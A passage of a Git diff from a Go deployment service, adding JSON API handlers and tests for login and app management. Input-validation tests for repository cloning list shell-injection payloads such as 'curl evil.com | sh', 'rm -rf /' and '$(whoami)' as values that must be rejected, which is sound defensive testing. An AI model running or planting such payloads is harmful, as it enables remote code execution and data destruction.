t.Errorf("expected SHA %q to be valid", s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
invalid := []string{
|
||||||
|
"short",
|
||||||
|
"abc123",
|
||||||
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
||||||
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
||||||
|
"$(whoami)000000000000000000000000000000000",
|
||||||
|
"",
|
||||||
|
}
|
||||||
|
for _, s := range invalid {
|
||||||
|
if validCommitSHARe.MatchString(s) {
|
||||||
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloneRepoRejectsInjection(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
c := &Client{
|
||||||
|
log: slog.Default(),
|
||||||
|
}
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
branch string
|
||||||
|
commitSHA string
|
||||||
|
wantErr error
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "shell injection in branch",
|
||||||
|
branch: "main; curl evil.com | sh #",
|
||||||
|
wantErr: ErrInvalidBranch,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "command substitution in branch",
|
||||||
|
branch: "$(whoami)",
|
||||||
|
wantErr: ErrInvalidBranch,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "backtick injection in branch",
|
||||||
|
branch: "`id`",
|
||||||
|
wantErr: ErrInvalidBranch,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "injection in commitSHA",
|
||||||
|
branch: "main",
|
||||||
|
commitSHA: "not-a-sha; rm -rf /",
|
||||||
|
wantErr: ErrInvalidCommitSHA,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "short SHA rejected",
|
||||||
|
branch: "main",
|
||||||
|
commitSHA: "abc123",
|
||||||
|
wantErr: ErrInvalidCommitSHA,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "valid inputs pass validation (hit NotConnected)",
|
||||||
|
branch: "main",
|
||||||
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
||||||
|
wantErr: ErrNotConnected,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
||||||
|
branch: "main",
|
||||||
|
wantErr: ErrNotConnected,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
_, err := c.CloneRepo(
|
||||||
|
t.Context(),
|
||||||
|
"git@example.com:repo.git",
|
||||||
|
tt.branch,
|
||||||
|
tt.commitSHA,
|
||||||
|
"fake-key",
|
||||||
|
"/tmp/container",
|
||||||
|
"/tmp/host",
|
||||||
|
)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error, got nil")
|
||||||
|
}
|
||||||
|
|
||||||
|
if !errors.Is(err, tt.wantErr) {
|
||||||
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
377
internal/handlers/api.go
Normal file
377
internal/handlers/api.go
Normal file
@@ -0,0 +1,377 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"strconv"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/models"
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/service/app"
|
||||||
|
)
|
||||||
|
|
||||||
|
// apiAppResponse is the JSON representation of an app.
|
||||||
|
type apiAppResponse struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
RepoURL string `json:"repoUrl"`
|
||||||
|
Branch string `json:"branch"`
|
||||||
|
DockerfilePath string `json:"dockerfilePath"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
WebhookSecret string `json:"webhookSecret"`
|
||||||
|
SSHPublicKey string `json:"sshPublicKey"`
|
||||||
|
CreatedAt string `json:"createdAt"`
|
||||||
|
UpdatedAt string `json:"updatedAt"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// apiDeploymentResponse is the JSON representation of a deployment.
|
||||||
|
type apiDeploymentResponse struct {
|
||||||
|
ID int64 `json:"id"`
|
||||||
|
AppID string `json:"appId"`
|
||||||
|
CommitSHA string `json:"commitSha,omitempty"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Duration string `json:"duration,omitempty"`
|
||||||
|
StartedAt string `json:"startedAt"`
|
||||||
|
FinishedAt string `json:"finishedAt,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func appToAPI(a *models.App) apiAppResponse {
|
||||||
|
return apiAppResponse{
|
||||||
|
ID: a.ID,
|
||||||
|
Name: a.Name,
|
||||||
|
RepoURL: a.RepoURL,
|
||||||
|
Branch: a.Branch,
|
||||||
|
DockerfilePath: a.DockerfilePath,
|
||||||
|
Status: string(a.Status),
|
||||||
|
WebhookSecret: a.WebhookSecret,
|
||||||
|
SSHPublicKey: a.SSHPublicKey,
|
||||||
|
CreatedAt: a.CreatedAt.Format("2006-01-02T15:04:05Z"),
|
||||||
|
UpdatedAt: a.UpdatedAt.Format("2006-01-02T15:04:05Z"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func deploymentToAPI(d *models.Deployment) apiDeploymentResponse {
|
||||||
|
resp := apiDeploymentResponse{
|
||||||
|
ID: d.ID,
|
||||||
|
AppID: d.AppID,
|
||||||
|
Status: string(d.Status),
|
||||||
|
Duration: d.Duration(),
|
||||||
|
StartedAt: d.StartedAt.Format("2006-01-02T15:04:05Z"),
|
||||||
|
}
|
||||||
|
|
||||||
|
if d.CommitSHA.Valid {
|
||||||
|
resp.CommitSHA = d.CommitSHA.String
|
||||||
|
}
|
||||||
|
|
||||||
|
if d.FinishedAt.Valid {
|
||||||
|
resp.FinishedAt = d.FinishedAt.Time.Format("2006-01-02T15:04:05Z")
|
||||||
|
}
|
||||||
|
|
||||||
|
return resp
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPILoginPOST returns a handler that authenticates via JSON credentials
|
||||||
|
// and sets a session cookie.
|
||||||
|
func (h *Handlers) HandleAPILoginPOST() http.HandlerFunc {
|
||||||
|
type loginRequest struct {
|
||||||
|
Username string `json:"username"`
|
||||||
|
Password string `json:"password"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type loginResponse struct {
|
||||||
|
UserID int64 `json:"userId"`
|
||||||
|
Username string `json:"username"`
|
||||||
|
}
|
||||||
|
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
var req loginRequest
|
||||||
|
|
||||||
|
decodeErr := json.NewDecoder(request.Body).Decode(&req)
|
||||||
|
if decodeErr != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "invalid JSON body"},
|
||||||
|
http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.Username == "" || req.Password == "" {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "username and password are required"},
|
||||||
|
http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
user, authErr := h.auth.Authenticate(request.Context(), req.Username, req.Password)
|
||||||
|
if authErr != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "invalid credentials"},
|
||||||
|
http.StatusUnauthorized)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sessionErr := h.auth.CreateSession(writer, request, user)
|
||||||
|
if sessionErr != nil {
|
||||||
|
h.log.Error("api: failed to create session", "error", sessionErr)
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "failed to create session"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, loginResponse{
|
||||||
|
UserID: user.ID,
|
||||||
|
Username: user.Username,
|
||||||
|
}, http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPIListApps returns a handler that lists all apps as JSON.
|
||||||
|
func (h *Handlers) HandleAPIListApps() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
apps, err := h.appService.ListApps(request.Context())
|
||||||
|
if err != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "failed to list apps"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
result := make([]apiAppResponse, 0, len(apps))
|
||||||
|
for _, a := range apps {
|
||||||
|
result = append(result, appToAPI(a))
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, result, http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPIGetApp returns a handler that gets a single app by ID.
|
||||||
|
func (h *Handlers) HandleAPIGetApp() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, err := h.appService.GetApp(request.Context(), appID)
|
||||||
|
if err != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "internal server error"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if application == nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "app not found"},
|
||||||
|
http.StatusNotFound)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, appToAPI(application), http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPICreateApp returns a handler that creates a new app.
|
||||||
|
func (h *Handlers) HandleAPICreateApp() http.HandlerFunc {
|
||||||
|
type createRequest struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
RepoURL string `json:"repoUrl"`
|
||||||
|
Branch string `json:"branch"`
|
||||||
|
DockerfilePath string `json:"dockerfilePath"`
|
||||||
|
DockerNetwork string `json:"dockerNetwork"`
|
||||||
|
NtfyTopic string `json:"ntfyTopic"`
|
||||||
|
SlackWebhook string `json:"slackWebhook"`
|
||||||
|
}
|
||||||
|
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
var req createRequest
|
||||||
|
|
||||||
|
decodeErr := json.NewDecoder(request.Body).Decode(&req)
|
||||||
|
if decodeErr != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "invalid JSON body"},
|
||||||
|
http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.Name == "" || req.RepoURL == "" {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "name and repo_url are required"},
|
||||||
|
http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
nameErr := validateAppName(req.Name)
|
||||||
|
if nameErr != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "invalid app name: " + nameErr.Error()},
|
||||||
|
http.StatusBadRequest)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
createdApp, createErr := h.appService.CreateApp(request.Context(), app.CreateAppInput{
|
||||||
|
Name: req.Name,
|
||||||
|
RepoURL: req.RepoURL,
|
||||||
|
Branch: req.Branch,
|
||||||
|
DockerfilePath: req.DockerfilePath,
|
||||||
|
DockerNetwork: req.DockerNetwork,
|
||||||
|
NtfyTopic: req.NtfyTopic,
|
||||||
|
SlackWebhook: req.SlackWebhook,
|
||||||
|
})
|
||||||
|
if createErr != nil {
|
||||||
|
h.log.Error("api: failed to create app", "error", createErr)
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "failed to create app"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, appToAPI(createdApp), http.StatusCreated)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPIDeleteApp returns a handler that deletes an app.
|
||||||
|
func (h *Handlers) HandleAPIDeleteApp() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, err := h.appService.GetApp(request.Context(), appID)
|
||||||
|
if err != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "internal server error"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if application == nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "app not found"},
|
||||||
|
http.StatusNotFound)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
deleteErr := h.appService.DeleteApp(request.Context(), application)
|
||||||
|
if deleteErr != nil {
|
||||||
|
h.log.Error("api: failed to delete app", "error", deleteErr)
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "failed to delete app"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"status": "deleted"}, http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// deploymentsPageLimit is the default number of deployments per page.
|
||||||
|
const deploymentsPageLimit = 20
|
||||||
|
|
||||||
|
// HandleAPIListDeployments returns a handler that lists deployments for an app.
|
||||||
|
func (h *Handlers) HandleAPIListDeployments() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, err := h.appService.GetApp(request.Context(), appID)
|
||||||
|
if err != nil || application == nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "app not found"},
|
||||||
|
http.StatusNotFound)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
limit := deploymentsPageLimit
|
||||||
|
|
||||||
|
if l := request.URL.Query().Get("limit"); l != "" {
|
||||||
|
parsed, parseErr := strconv.Atoi(l)
|
||||||
|
if parseErr == nil && parsed > 0 {
|
||||||
|
limit = parsed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
deployments, deployErr := application.GetDeployments(
|
||||||
|
request.Context(), limit,
|
||||||
|
)
|
||||||
|
if deployErr != nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "failed to list deployments"},
|
||||||
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
result := make([]apiDeploymentResponse, 0, len(deployments))
|
||||||
|
for _, d := range deployments {
|
||||||
|
result = append(result, deploymentToAPI(d))
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, result, http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPITriggerDeploy returns a handler that triggers a deployment for an app.
|
||||||
|
func (h *Handlers) HandleAPITriggerDeploy() http.HandlerFunc {
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
appID := chi.URLParam(request, "id")
|
||||||
|
|
||||||
|
application, err := h.appService.GetApp(request.Context(), appID)
|
||||||
|
if err != nil || application == nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "app not found"},
|
||||||
|
http.StatusNotFound)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
deployErr := h.deploy.Deploy(request.Context(), application, nil, true)
|
||||||
|
if deployErr != nil {
|
||||||
|
h.log.Error("api: failed to trigger deploy", "error", deployErr)
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": deployErr.Error()},
|
||||||
|
http.StatusConflict)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"status": "deploying"}, http.StatusAccepted)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// HandleAPIWhoAmI returns a handler that shows the current authenticated user.
|
||||||
|
func (h *Handlers) HandleAPIWhoAmI() http.HandlerFunc {
|
||||||
|
type whoAmIResponse struct {
|
||||||
|
UserID int64 `json:"userId"`
|
||||||
|
Username string `json:"username"`
|
||||||
|
}
|
||||||
|
|
||||||
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
|
user, err := h.auth.GetCurrentUser(request.Context(), request)
|
||||||
|
if err != nil || user == nil {
|
||||||
|
h.respondJSON(writer, request,
|
||||||
|
map[string]string{"error": "unauthorized"},
|
||||||
|
http.StatusUnauthorized)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
h.respondJSON(writer, request, whoAmIResponse{
|
||||||
|
UserID: user.ID,
|
||||||
|
Username: user.Username,
|
||||||
|
}, http.StatusOK)
|
||||||
|
}
|
||||||
|
}
|
||||||
299
internal/handlers/api_test.go
Normal file
299
internal/handlers/api_test.go
Normal file
@@ -0,0 +1,299 @@
|
|||||||
|
package handlers_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
"github.com/stretchr/testify/require"
|
||||||
|
)
|
||||||
|
|
||||||
|
// apiRouter builds a chi router with the API routes using session auth middleware.
|
||||||
|
func apiRouter(tc *testContext) http.Handler {
|
||||||
|
r := chi.NewRouter()
|
||||||
|
|
||||||
|
r.Route("/api/v1", func(apiR chi.Router) {
|
||||||
|
apiR.Post("/login", tc.handlers.HandleAPILoginPOST())
|
||||||
|
|
||||||
|
apiR.Group(func(apiR chi.Router) {
|
||||||
|
apiR.Use(tc.middleware.APISessionAuth())
|
||||||
|
apiR.Get("/whoami", tc.handlers.HandleAPIWhoAmI())
|
||||||
|
apiR.Get("/apps", tc.handlers.HandleAPIListApps())
|
||||||
|
apiR.Post("/apps", tc.handlers.HandleAPICreateApp())
|
||||||
|
apiR.Get("/apps/{id}", tc.handlers.HandleAPIGetApp())
|
||||||
|
apiR.Delete("/apps/{id}", tc.handlers.HandleAPIDeleteApp())
|
||||||
|
apiR.Post("/apps/{id}/deploy", tc.handlers.HandleAPITriggerDeploy())
|
||||||
|
apiR.Get("/apps/{id}/deployments", tc.handlers.HandleAPIListDeployments())
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
// setupAPITest creates a test context with a user and returns session cookies.
|
||||||
|
func setupAPITest(t *testing.T) (*testContext, []*http.Cookie) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
tc := setupTestHandlers(t)
|
||||||
|
|
||||||
|
// Create a user.
|
||||||
|
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
// Login via the API to get session cookies.
|
||||||
|
r := apiRouter(tc)
|
||||||
|
|
||||||
|
loginBody := `{"username":"admin","password":"password123"}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(loginBody))
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
require.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
cookies := rr.Result().Cookies()
|
||||||
|
require.NotEmpty(t, cookies, "login should return session cookies")
|
||||||
|
|
||||||
|
return tc, cookies
|
||||||
|
}
|
||||||
|
|
||||||
|
// apiRequest makes an authenticated API request using session cookies.
|
||||||
|
func apiRequest(
|
||||||
|
t *testing.T,
|
||||||
|
tc *testContext,
|
||||||
|
cookies []*http.Cookie,
|
||||||
|
method, path string,
|
||||||
|
body string,
|
||||||
|
) *httptest.ResponseRecorder {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
var req *http.Request
|
||||||
|
if body != "" {
|
||||||
|
req = httptest.NewRequest(method, path, strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
} else {
|
||||||
|
req = httptest.NewRequest(method, path, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, c := range cookies {
|
||||||
|
req.AddCookie(c)
|
||||||
|
}
|
||||||
|
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
|
||||||
|
r := apiRouter(tc)
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
return rr
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPILoginSuccess(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc := setupTestHandlers(t)
|
||||||
|
|
||||||
|
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
r := apiRouter(tc)
|
||||||
|
|
||||||
|
body := `{"username":"admin","password":"password123"}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
var resp map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
|
||||||
|
assert.Equal(t, "admin", resp["username"])
|
||||||
|
|
||||||
|
// Should have a Set-Cookie header.
|
||||||
|
assert.NotEmpty(t, rr.Result().Cookies())
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPILoginInvalidCredentials(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc := setupTestHandlers(t)
|
||||||
|
|
||||||
|
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
r := apiRouter(tc)
|
||||||
|
|
||||||
|
body := `{"username":"admin","password":"wrong"}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusUnauthorized, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPILoginMissingFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc := setupTestHandlers(t)
|
||||||
|
|
||||||
|
r := apiRouter(tc)
|
||||||
|
|
||||||
|
body := `{"username":"","password":""}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusBadRequest, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIRejectsUnauthenticated(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc := setupTestHandlers(t)
|
||||||
|
|
||||||
|
r := apiRouter(tc)
|
||||||
|
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/apps", nil)
|
||||||
|
rr := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rr, req)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusUnauthorized, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIWhoAmI(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/whoami", "")
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
var resp map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
|
||||||
|
assert.Equal(t, "admin", resp["username"])
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIListAppsEmpty(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps", "")
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
var apps []any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &apps))
|
||||||
|
assert.Empty(t, apps)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPICreateApp(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
body := `{"name":"test-app","repoUrl":"https://github.com/example/repo"}`
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
|
||||||
|
assert.Equal(t, http.StatusCreated, rr.Code)
|
||||||
|
|
||||||
|
var app map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
|
||||||
|
assert.Equal(t, "test-app", app["name"])
|
||||||
|
assert.Equal(t, "pending", app["status"])
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPICreateAppValidation(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
body := `{"name":"","repoUrl":""}`
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
|
||||||
|
assert.Equal(t, http.StatusBadRequest, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIGetApp(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
body := `{"name":"my-app","repoUrl":"https://github.com/example/repo"}`
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
|
||||||
|
require.Equal(t, http.StatusCreated, rr.Code)
|
||||||
|
|
||||||
|
var created map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
|
||||||
|
|
||||||
|
appID, ok := created["id"].(string)
|
||||||
|
require.True(t, ok)
|
||||||
|
|
||||||
|
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
var app map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
|
||||||
|
assert.Equal(t, "my-app", app["name"])
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIGetAppNotFound(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/nonexistent", "")
|
||||||
|
assert.Equal(t, http.StatusNotFound, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIDeleteApp(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
body := `{"name":"delete-me","repoUrl":"https://github.com/example/repo"}`
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
|
||||||
|
require.Equal(t, http.StatusCreated, rr.Code)
|
||||||
|
|
||||||
|
var created map[string]any
|
||||||
|
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
|
||||||
|
|
||||||
|
appID, ok := created["id"].(string)
|
||||||
|
require.True(t, ok)
|
||||||
|
|
||||||
|
rr = apiRequest(t, tc, cookies, http.MethodDelete, "/api/v1/apps/"+appID, "")
|
||||||
|
assert.Equal(t, http.StatusOK, rr.Code)
|
||||||
|
|
||||||
|
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
|
||||||
|
assert.Equal(t, http.StatusNotFound, rr.Code)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAPIListDeployments(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tc, cookies := setupAPITest(t)
|
||||||
|
|
||||||
|
body := `{"name":"deploy-app","repoUrl":"https://github.com/example/repo"}`
|
||||||
|
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
|
||||||
|
require.Equal(t, http.StatusCreated, rr.Code)
|
||||||
|
|
||||||
|
var created map[string]any
|
||||||
|
